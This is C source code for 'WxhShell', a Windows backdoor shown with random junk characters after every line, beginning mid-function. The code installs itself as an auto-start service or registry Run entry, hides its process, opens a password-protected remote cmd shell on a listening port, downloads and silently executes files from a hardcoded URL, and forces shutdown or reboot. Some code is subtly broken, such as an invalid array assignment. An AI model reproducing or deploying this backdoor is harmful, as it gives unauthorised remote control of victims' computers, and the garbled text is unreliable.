    if(Boot(SHUTDOWN)) {cBLm/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.c@4Wz+  
    else { ?4}EhXR(  
    closesocket(wsh); r.;(Kx/M  
    ExitThread(0); 8yc?9&/ |  
    } zVs|go>F  
    break; aXefi'!6  
    } QZ54Osdl  
  // 获取shell y i/jZX  
  case 's': { yD!V;?EnK  
    CmdShell(wsh); J#y?^Qm$)<  
    closesocket(wsh); ps6c>AN`A&  
    ExitThread(0); "Z6:d"S`  
    break; A4W61f  
  } v]HiG_C  
  // 退出 U%na^Wu  
  case 'x': { [ {B1~D-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q3E_.{t  
    CloseIt(wsh); '((Ll  
    break; g1`/xJz|  
    } @Q atgYu  
  // 离开 #/9(^6f:  
  case 'q': { s(I7}oRWsL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Cz_chK4  
    closesocket(wsh); __V6TDehJ$  
    WSACleanup(); ;zO(bj>  
    exit(1); >AW=N  
    break; '2%/h4jY  
        } =}~h bPJM  
  } kM?p>V6  
  } &p$SFH?s  
8_tMiIE-pS  
  // 提示信息 s/K}]F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -ijQT B  
} X+K$y:UZ  
  } a;`-LOO5&  
(UV+/[,  
  return; 0Fh*8a}?b  
} 5!*5mtI  
z,oqYU\:  
// shell模块句柄 wQ,RZO3  
int CmdShell(SOCKET sock) "ppT<8Qi'  
{ VPTT* a`  
STARTUPINFO si; RfB""b8]=  
ZeroMemory(&si,sizeof(si)); =#<hT s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'gojP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ QM  
PROCESS_INFORMATION ProcessInfo; l%A~3  
char cmdline[]="cmd"; }x1mpPND  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %zyMWC  
  return 0; Mf&W<n^j  
} <8 At =U  
m!:7ur:Y  
// 自身启动模式 >1tGQ cg  
int StartFromService(void) %Ys>PzM  
{ sz wXr  
typedef struct K`FgU 7g{  
{ ^[CD-#  
  DWORD ExitStatus; !DCJ2h%E[_  
  DWORD PebBaseAddress; m=S[Y^tR  
  DWORD AffinityMask; u hP0Zwn  
  DWORD BasePriority; O`dob&C  
  ULONG UniqueProcessId; :u{0M&  
  ULONG InheritedFromUniqueProcessId; zux+ooU  
}   PROCESS_BASIC_INFORMATION; 8y!fqXm%)  
N)h>Ie  
PROCNTQSIP NtQueryInformationProcess; @X/S h:  
C<fNIc~.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G6eC.vU]j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xM;gF2  
asW1GZO  
  HANDLE             hProcess; FV$= l %  
  PROCESS_BASIC_INFORMATION pbi; tb0XXE E  
]+ ':=&+:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tT yu,%/m  
  if(NULL == hInst ) return 0; .KT+,Y  
c)SSi@< cv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :*&wnQMKR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); im+2)9f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _'H<zZo  
Xt= &  
  if (!NtQueryInformationProcess) return 0; i&>,aiH@  
gH\r# wy|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0 \LkJ*i  
  if(!hProcess) return 0; =pcj{B{qa  
>Fld7;L?<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mn~A;=%qF  
!nj%n  
  CloseHandle(hProcess); \MtiLaI"  
vo`wYJ3W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fsjA7)/  
if(hProcess==NULL) return 0; d=qpTb;(  
yK?~X V:  
HMODULE hMod; TKLy38  
char procName[255]; 31>k3IP&  
unsigned long cbNeeded; G>mgoN  
 A ]U]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;$&-c/]F#  
YF>t{|  
  CloseHandle(hProcess); C3@.75-E  
F`I-G~e  
if(strstr(procName,"services")) return 1; // 以服务启动 r$v?[x>+K  
[k'Ph33c  
  return 0; // 注册表启动 c(#`z!FB  
} <YeF?$S}  
G<jpJ  
// 主模块 U-FA^c;  
int StartWxhshell(LPSTR lpCmdLine) Xq>e]#gR  
{ -;P<Q`{I  
  SOCKET wsl; N^ D/}n  
BOOL val=TRUE; Xb^\{s?b  
  int port=0; _f3A6ER`  
  struct sockaddr_in door; M2@q{RiS  
b=|&0B$E  
  if(wscfg.ws_autoins) Install(); |}M']Vz  
9x?;;qC"m9  
port=atoi(lpCmdLine); o@>c[knJ  
Etu>z+P!  
if(port<=0) port=wscfg.ws_port; xD\Km>|i  
Q"hI!PO+  
  WSADATA data; [V)sCAW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h{* O9O<  
p fBO5Ys  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _kY5 6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zi?'3T%Ie  
  door.sin_family = AF_INET; 3yKI2en"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )b%c]!  
  door.sin_port = htons(port); "{x~j \<  
K%pmE?%,8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #dpt=  
closesocket(wsl); <,E*,&0W  
return 1; 99ha /t  
} 'hek CZZ_I  
?Nh%!2n  
  if(listen(wsl,2) == INVALID_SOCKET) { =` i 7?  
closesocket(wsl); 'o7PIhD"  
return 1; phc1AN=[E  
} f0D Ch]  
  Wxhshell(wsl); $k`8Zx w  
  WSACleanup(); @^` <iTK&p  
/M3D[aR<d  
return 0; z'qVEHc)  
7%E1F)%  
} GcU/   
i `>X5Da5  
// 以NT服务方式启动 k( g$_ ]X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7&At _l_  
{ sN C?o[9l!  
DWORD   status = 0; R&4E7wrdP  
  DWORD   specificError = 0xfffffff; ]~qN<x  
6 gKOpa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z$Nk\9wm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kH&ZPAI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fjWh}w8  
  serviceStatus.dwWin32ExitCode     = 0; gNqV>p  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 YN` :"  
  serviceStatus.dwCheckPoint       = 0; c"YK+2  
  serviceStatus.dwWaitHint       = 0; I)Lb"  
DO\EB6xH>%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4 P;O8KA5y  
  if (hServiceStatusHandle==0) return; x>J3tp$2  
Hxl,U>za#  
status = GetLastError(); 5i^vN"J  
  if (status!=NO_ERROR) AfEEYP)N  
{ >o} ati  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WsV3>=@f  
    serviceStatus.dwCheckPoint       = 0; qE{cCS  
    serviceStatus.dwWaitHint       = 0; .]e6TFsrO  
    serviceStatus.dwWin32ExitCode     = status; Qwa"AY 5pW  
    serviceStatus.dwServiceSpecificExitCode = specificError; hX_p5a1t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'sF563kE  
    return; YW{V4yW  
  } ,xz^ k/.  
68c;Vb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zrew:5*uZ  
  serviceStatus.dwCheckPoint       = 0; .cF$f4>2  
  serviceStatus.dwWaitHint       = 0; 2`I;f/S d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "?{yVu~9  
} d8kwW!m+  
S1zw'!O5  
// 处理NT服务事件,比如:启动、停止 S <_pGz$V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Bk}g50$#  
{ IA^)`l7H  
switch(fdwControl) I.u,f:Fl'  
{ |+:ZO5FaO  
case SERVICE_CONTROL_STOP: D%idlL2%J  
  serviceStatus.dwWin32ExitCode = 0; >>bYg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oPy zk7{  
  serviceStatus.dwCheckPoint   = 0; ]R{"=H'  
  serviceStatus.dwWaitHint     = 0; +2}(]J=-  
  { fE*I+pe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | q16%6q  
  } \z`d}\3( R  
  return; 8-5 jr_*  
case SERVICE_CONTROL_PAUSE: mG~y8nUtp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qE72(#:R*  
  break; m[{&xF|_  
case SERVICE_CONTROL_CONTINUE: DP_Pqn8p&M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iFCH$!  
  break; (<C%5xk  
case SERVICE_CONTROL_INTERROGATE: 6h_k`z  
  break; |<|,RI?  
}; V3W85_*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <u?hdwW \  
} \.1b\\  
Gr@{p"./z  
// 标准应用程序主函数 c2\vG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )Zf}V0!?+  
{ N#)VD\m  
G`#gV"PlC  
// 获取操作系统版本 IVzA>Vd  
OsIsNt=GetOsVer(); j& o+KV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tN3 {7'\7  
un^IQMIh  
  // 从命令行安装 _O;~ }N4u  
  if(strpbrk(lpCmdLine,"iI")) Install(); fJw=7t-t  
,*Z[P%<9  
  // 下载执行文件 WJU NJN  
if(wscfg.ws_downexe) { OPY/XKyY,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !;aC9VhSU  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]2Fo.n  
} FFeRE{,  
 "$Iw Q  
if(!OsIsNt) { j'*p  
// 如果时win9x,隐藏进程并且设置为注册表启动 x\hn;i<  
HideProc(); EjX'&"3.  
StartWxhshell(lpCmdLine); !en F8a  
} cNr][AzU@  
else <Ihed |  
  if(StartFromService()) mjl!Nth:<  
  // 以服务方式启动 n{Qh8"  
  StartServiceCtrlDispatcher(DispatchTable); m=iov 2K>  
else P>T*:!s;  
  // 普通方式启动 06@0r  
  StartWxhshell(lpCmdLine); To8v#.i  
wt.{Fqm  
return 0; M}oj!xGB  
}  .02(O  
?*R^?[  
(bFWT_CChz  
KO]?>>5S6  
=========================================== l6B^sc*@  
gqdB!l4  
K aQq[a  
`{|}LFS>  
&Y>~^$`J  
\m~\,em  
" v6P~XK}G  
R`C_CsXir  
#include <stdio.h> "">fn(  
#include <string.h> ;Q>3N(  
#include <windows.h> W3V{Xk|  
#include <winsock2.h> LYy:IBI7_  
#include <winsvc.h> ({_:^$E\  
#include <urlmon.h> )Kk(P/s  
Fma`Cm.  
#pragma comment (lib, "Ws2_32.lib") mf;^b.mKh  
#pragma comment (lib, "urlmon.lib") t6%xit+  
FP'u)eU&3  
#define MAX_USER   100 // 最大客户端连接数 SeZT4y*=  
#define BUF_SOCK   200 // sock buffer J]Gc  
#define KEY_BUFF   255 // 输入 buffer &iND&>?  
Xq^y<[  
#define REBOOT     0   // 重启 ^z%o];  
#define SHUTDOWN   1   // 关机 jdg ~!<C  
E #{WU}  
#define DEF_PORT   5000 // 监听端口 i3 l #~  
[mB(GL  
#define REG_LEN     16   // 注册表键长度 @Wx`l) b  
#define SVC_LEN     80   // NT服务名长度 [rUh;_b\D  
X |1_0  
// 从dll定义API }u3H4S<o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L >Ez-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "'}v0*[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f0mH|tI`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +ptF-  
QK3j_'F=E  
// wxhshell配置信息 IQlw 914  
struct WSCFG { q:- ]d0B+  
  int ws_port;         // 监听端口 l q\'  
  char ws_passstr[REG_LEN]; // 口令 F'UguC">  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dmm r]~  
  char ws_regname[REG_LEN]; // 注册表键名 fs3 -rXoB  
  char ws_svcname[REG_LEN]; // 服务名 tgvpf /cQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bco[L@6G$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y800(z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nT@6g|!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no orQV'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 17n+4J]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6N %L8Q  
{Ukc D+.Y  
}; 4gv.E 0Fo  
yYG3/Z3u5  
// default Wxhshell configuration A1|7(Sow  
struct WSCFG wscfg={DEF_PORT, A^4kYOe  
    "xuhuanlingzhe", f1CMR4D  
    1, hP4)8>  
    "Wxhshell", rAlh& ?X  
    "Wxhshell", {7K'<ti  
            "WxhShell Service", oc3dd"8}@  
    "Wrsky Windows CmdShell Service", l6 S19Kv  
    "Please Input Your Password: ", w]W`R.  
  1, [V2omSZo  
  "http://www.wrsky.com/wxhshell.exe", ~E<PtDab  
  "Wxhshell.exe" GTp?)nh^  
    }; ^EC)~HP@C  
`bZ2x@  
// 消息定义模块 z|G|Y 22  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jHu,u|e0>S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E~<(i':  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  d-ag  
char *msg_ws_ext="\n\rExit."; un$ Z7W/  
char *msg_ws_end="\n\rQuit."; +(=0CA0GE  
char *msg_ws_boot="\n\rReboot..."; *w'q  
char *msg_ws_poff="\n\rShutdown..."; Q3NPwM  
char *msg_ws_down="\n\rSave to "; wr3_Bf3]  
xs2,t*  
char *msg_ws_err="\n\rErr!"; j[m_qohd7  
char *msg_ws_ok="\n\rOK!"; IDGQIg  
|5}rX!wS4  
char ExeFile[MAX_PATH]; ~),;QQ,  
int nUser = 0; r 1l/) ;  
HANDLE handles[MAX_USER]; l50|` 6t  
int OsIsNt; 08Pt(kzNA  
7x[LF ^o  
SERVICE_STATUS       serviceStatus; 7d|*postv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  !fQJL   
"<PoJPh  
// 函数声明 [):{5hMA  
int Install(void); l)tTg+:  
int Uninstall(void); 9*}iBs  
int DownloadFile(char *sURL, SOCKET wsh); &\J?[>EJ.  
int Boot(int flag); V-D}U$fw  
void HideProc(void); Sk6b`W7$  
int GetOsVer(void); ;mf4 U85  
int Wxhshell(SOCKET wsl); =_$XP   
void TalkWithClient(void *cs); dN$ 1$B^k  
int CmdShell(SOCKET sock); a"0B?3*r46  
int StartFromService(void); 4 [R8(U[g  
int StartWxhshell(LPSTR lpCmdLine); RLYU\@kK?  
18DTv6?QG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M>*0r<qn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E;6Y? vJ  
~-XOvKJb  
// 数据结构和表定义 YMc8Q\*B  
SERVICE_TABLE_ENTRY DispatchTable[] = X+]L-o6I2  
{ rao</jN.9  
{wscfg.ws_svcname, NTServiceMain}, ?1GY%-  
{NULL, NULL} 'GEBxNH:  
}; _u:>1]  
Qqd6.F  
// 自我安装 pP|,7c5  
int Install(void) -Z:]<;qU  
{  /6+1{p  
  char svExeFile[MAX_PATH]; !cq=)xR  
  HKEY key; "C_T]%'Wm  
  strcpy(svExeFile,ExeFile); +V)qep"  
}1U#Ve,=_  
// 如果是win9x系统,修改注册表设为自启动 t$U3|r  
if(!OsIsNt) { nc3sty1`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ES^>[2Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L*zbike  
  RegCloseKey(key); (NGu9uJs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e$CePLEj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %v5)s(Yu  
  RegCloseKey(key); lhLnygUk  
  return 0; j2RRSz&9  
    } [leW/2i  
  } Um]p&phVL  
} H7{Q@D8  
else { a$w},= `E  
VK@$JwdL  
// 如果是NT以上系统,安装为系统服务 U8CWz!;Qz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OJv}kwV  
if (schSCManager!=0) |BwRlE2CFO  
{ El~-M`Gf  
  SC_HANDLE schService = CreateService ]vm\3=@}9  
  ( W[@i;f^g  
  schSCManager, ,/i_QgP  
  wscfg.ws_svcname, k/df(cs  
  wscfg.ws_svcdisp, @O@fyAz  
  SERVICE_ALL_ACCESS, {SF[I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J&A;#<qY  
  SERVICE_AUTO_START, M-{*92y& |  
  SERVICE_ERROR_NORMAL, }X=87ud  
  svExeFile, 6!ZVd#OM%  
  NULL, \.c]kG>k-  
  NULL, M6J/mOVx5  
  NULL, _Ny8j~  
  NULL, =kd YN 5R  
  NULL ,5/V@;i  
  ); q.-y)C) ;  
  if (schService!=0) _ e6a8  
  { ?Q@L-H`  
  CloseServiceHandle(schService); `'u Umyg  
  CloseServiceHandle(schSCManager); }ppVR$7]0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CV s8s  
  strcat(svExeFile,wscfg.ws_svcname); *Wzwbwg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h2"9"*S1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -g:lOht  
  RegCloseKey(key); DKh}Y !Q=:  
  return 0; L'>s(CR  
    } p?;-!TUv  
  } ;_iPm?Y8  
  CloseServiceHandle(schSCManager); -<_7\09  
} ue@8voZhS/  
} WElrk:b  
jRofG'  
return 1; R 4V \B  
} 0Qm"n6NQ  
j8pFgnQ  
// 自我卸载 "LOnDa7E^  
int Uninstall(void) [#0Yt/G  
{ QjLji +L  
  HKEY key; WM/#.  
u,f A!  
if(!OsIsNt) { prZ55MS.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Rc5c+/(  
  RegDeleteValue(key,wscfg.ws_regname); So#dJ>   
  RegCloseKey(key); iSlFRv?a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o w2$o\hC  
  RegDeleteValue(key,wscfg.ws_regname); =HMmrmz:  
  RegCloseKey(key); Raefj(^V  
  return 0; 1  o|T  
  } X:_<Y_JT  
} Rv vh{U;t  
} s|Zx(.EP  
else { 8zZSp  
Q!K`e)R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [G a~%m  
if (schSCManager!=0) &eIGF1ws  
{ NgHpIonC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,>u=gA&}  
  if (schService!=0) VpSEVd:n  
  { CN/IH   
  if(DeleteService(schService)!=0) { 4YLs^1'TG0  
  CloseServiceHandle(schService); ;`kWpM;  
  CloseServiceHandle(schSCManager); W}h|K:-S  
  return 0; X/Y#U\  
  } O-j$vzHpdY  
  CloseServiceHandle(schService);  {7X#4o0  
  } 2Pp&d>E4  
  CloseServiceHandle(schSCManager); |6%.VY2b  
} W<NmsG})_g  
} ,d|vP)SS  
Tw//!rp G  
return 1; n>P! u71  
} Noh?^@T`Ov  
IZ8y}2  
// 从指定url下载文件 _R7 w?!t8  
int DownloadFile(char *sURL, SOCKET wsh) t}Ss=0dJO  
{ :mpiAs<%U"  
  HRESULT hr; =OYQM<q  
char seps[]= "/"; A W)a">|  
char *token; t[EfOQ  
char *file; &!jq!u$(  
char myURL[MAX_PATH]; # .<V^  
char myFILE[MAX_PATH]; 6^;^rUlm  
Zn&k[?;Al  
strcpy(myURL,sURL); <qhBc:kc  
  token=strtok(myURL,seps); f7J,&<<5w  
  while(token!=NULL) iITp**l  
  { C0fmmI0z~  
    file=token; Qw?+!-7TN  
  token=strtok(NULL,seps); Q2/.6O8  
  } ~F w<eY  
]TSg!H  
GetCurrentDirectory(MAX_PATH,myFILE); m_* R.a  
strcat(myFILE, "\\"); HM&1y ubh#  
strcat(myFILE, file); MdC<4^|  
  send(wsh,myFILE,strlen(myFILE),0); K;U39ofW  
send(wsh,"...",3,0); kX[fy7rVt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wGJjA=C  
  if(hr==S_OK) knT.l"  
return 0; m&IsDAn  
else ]` ]g@v  
return 1; =Ikg.jYq&F  
kq-6HDR  
} Km3&N  
DA"}A`HfI  
// 系统电源模块 @T&t.|`  
int Boot(int flag) @Z;1 g  
{ F Z!J  
  HANDLE hToken; Y-p<qL|_  
  TOKEN_PRIVILEGES tkp; lJ{V  
+;q.Y?  
  if(OsIsNt) { H9` f0(H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PJgp+u<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #U=;T]!'$  
    tkp.PrivilegeCount = 1; \t3qS eWc/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; * OsU Y=;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o>c ^aRZ{  
if(flag==REBOOT) { 0xpx(T[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TfRGA (+#  
  return 0; ^Y04qeRd  
} T&xt` |  
else { MJ\[Dt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?_q+&)4-o  
  return 0; W f@t4(i  
} ALGg AX3t  
  } <L2emL_'  
  else { tNnyue{p  
if(flag==REBOOT) { 6)e5zKW!?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q0O&UE)6Y  
  return 0; lKKERO5+  
} 'r+PH*Mr  
else { zgKY4R{V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v-`h>J!Nx  
  return 0; dDtFx2(R  
} 9"sDm}5%  
} t`|,6qEG  
V U~Dk);Bv  
return 1; $h28(K%  
} "0&N}  
G'x .NL  
// win9x进程隐藏模块 'v&}(  
void HideProc(void) S>Z|) I  
{ pOga6'aB)  
>UHa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #S5`Pd!I  
  if ( hKernel != NULL ) h`5)2n+P  
  { K`k'}(vj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nWWM2v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8`v$liH  
    FreeLibrary(hKernel); H?yE3 w  
  } bAF )Bli  
i0pU!`0  
return; Tby,J B^U  
} ~}%~oT  
?m;;D'1j  
// 获取操作系统版本 RuAlB*  
int GetOsVer(void) Kt/)pc  
{ ohQAA h  
  OSVERSIONINFO winfo; 4TRG.$2[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !.Zt[g}  
  GetVersionEx(&winfo); @CQb[!9C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .mxTfP=9  
  return 1; xiM&$<LpR  
  else Lz4eh WntO  
  return 0; Bw< rp-  
} lDc;__}Ws  
. (`3JQ2s  
// 客户端句柄模块 lCb+{OB  
int Wxhshell(SOCKET wsl) y79qwM.  
{ z?ucIsbR  
  SOCKET wsh; y' xF0  
  struct sockaddr_in client; @q8an  
  DWORD myID; ,&]MOe4@>  
'2^ Yw  
  while(nUser<MAX_USER) w+AuMc  
{ #DI$Oc  
  int nSize=sizeof(client); /-Qv?"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p25Fn`}H  
  if(wsh==INVALID_SOCKET) return 1; +,flE= 5]s  
>3D7tK(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fCX*R"  
if(handles[nUser]==0) ;")A{tX2  
  closesocket(wsh); 8cVzFFQP  
else 5EeDHsvV9  
  nUser++; `l]j#qshTm  
  } ~&VN_;j_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z,f=}t[.Y  
F $yO  
  return 0; IazkdJX~  
} CjL<RJR=  
BzbDZV  
// 关闭 socket ,M6ZZ* ,e  
void CloseIt(SOCKET wsh) KCR N}`^  
{ <$E6oZ  
closesocket(wsh); faJM^u  
nUser--; *\XH+/]+  
ExitThread(0); RtV.d \  
} FY#!N L  
.y4&rF$n  
// 客户端请求句柄 ?nFO:N<  
void TalkWithClient(void *cs) "mIgs9l$  
{ zlf} .  
Hi,t@!!  
  SOCKET wsh=(SOCKET)cs; ffcLuXa  
  char pwd[SVC_LEN]; @}LZ! y  
  char cmd[KEY_BUFF]; RA/EpD:H  
char chr[1]; ps1@d[n  
int i,j; FJS'G^  
pP/@  
  while (nUser < MAX_USER) { ')#,X^   
,=%nw]:  
if(wscfg.ws_passstr) { }Uw#f@Wh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >bm|%Ou"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Ewo~9 4{  
  //ZeroMemory(pwd,KEY_BUFF); Z=$  T1|  
      i=0; ;j} yB  
  while(i<SVC_LEN) { 6m`{Z`c$  
)ly ^Ox  
  // 设置超时 p2pAvlNoF  
  fd_set FdRead; >1|g5  
  struct timeval TimeOut; ;#anZC;  
  FD_ZERO(&FdRead); nkY@_N  
  FD_SET(wsh,&FdRead); Je7RrCz  
  TimeOut.tv_sec=8; dbF M,"^  
  TimeOut.tv_usec=0; _N#&psQzw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9%DT0.D}$j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j F5Blc  
(H#M<N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tJD] (F  
  pwd=chr[0]; Wk7WK` >i  
  if(chr[0]==0xd || chr[0]==0xa) { {=JF=8@A  
  pwd=0; Ill[]O  
  break; p+w8$8)  
  } v 1.*IV5Y  
  i++; %|IUqjg  
    } F]=B'ZI  
O6c\KFBSJ  
  // 如果是非法用户,关闭 socket :,UN8L "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d,F5:w&  
} #@//7Bf%  
~L?nq@DL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XW~bu2%{7"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aW;aA'!  
!{%G0(Dv  
while(1) { Vz:_mKA  
tk?UX7F  
  ZeroMemory(cmd,KEY_BUFF); C7qYiSv  
S*t%RZ~a  
      // 自动支持客户端 telnet标准   h=+$>_&:  
  j=0; ;=;JfNnbm  
  while(j<KEY_BUFF) { By((,QpB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q-AN[_@  
  cmd[j]=chr[0]; $k0H9_  
  if(chr[0]==0xa || chr[0]==0xd) { :`W|h E^  
  cmd[j]=0; zVaCXNcbo  
  break; 2@i;_3sv  
  } wGLF%;rRe4  
  j++; Dkw7]9Qm  
    } +=fKT,-*G!  
i/qTFQst _  
  // 下载文件 JOfV]eCL  
  if(strstr(cmd,"http://")) { !]b@RUU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L* |1/  
  if(DownloadFile(cmd,wsh)) $@uU@fLB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (6qsKX  
  else f&I7,"v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fE25(wCz7  
  } 5K.+CO<  
  else { m_lr PY-  
v'ay.oVzw  
    switch(cmd[0]) { b1^cD6sT+  
  j%tEZ"H  
  // 帮助 TQ'E5^  
  case '?': { S@}4-\  
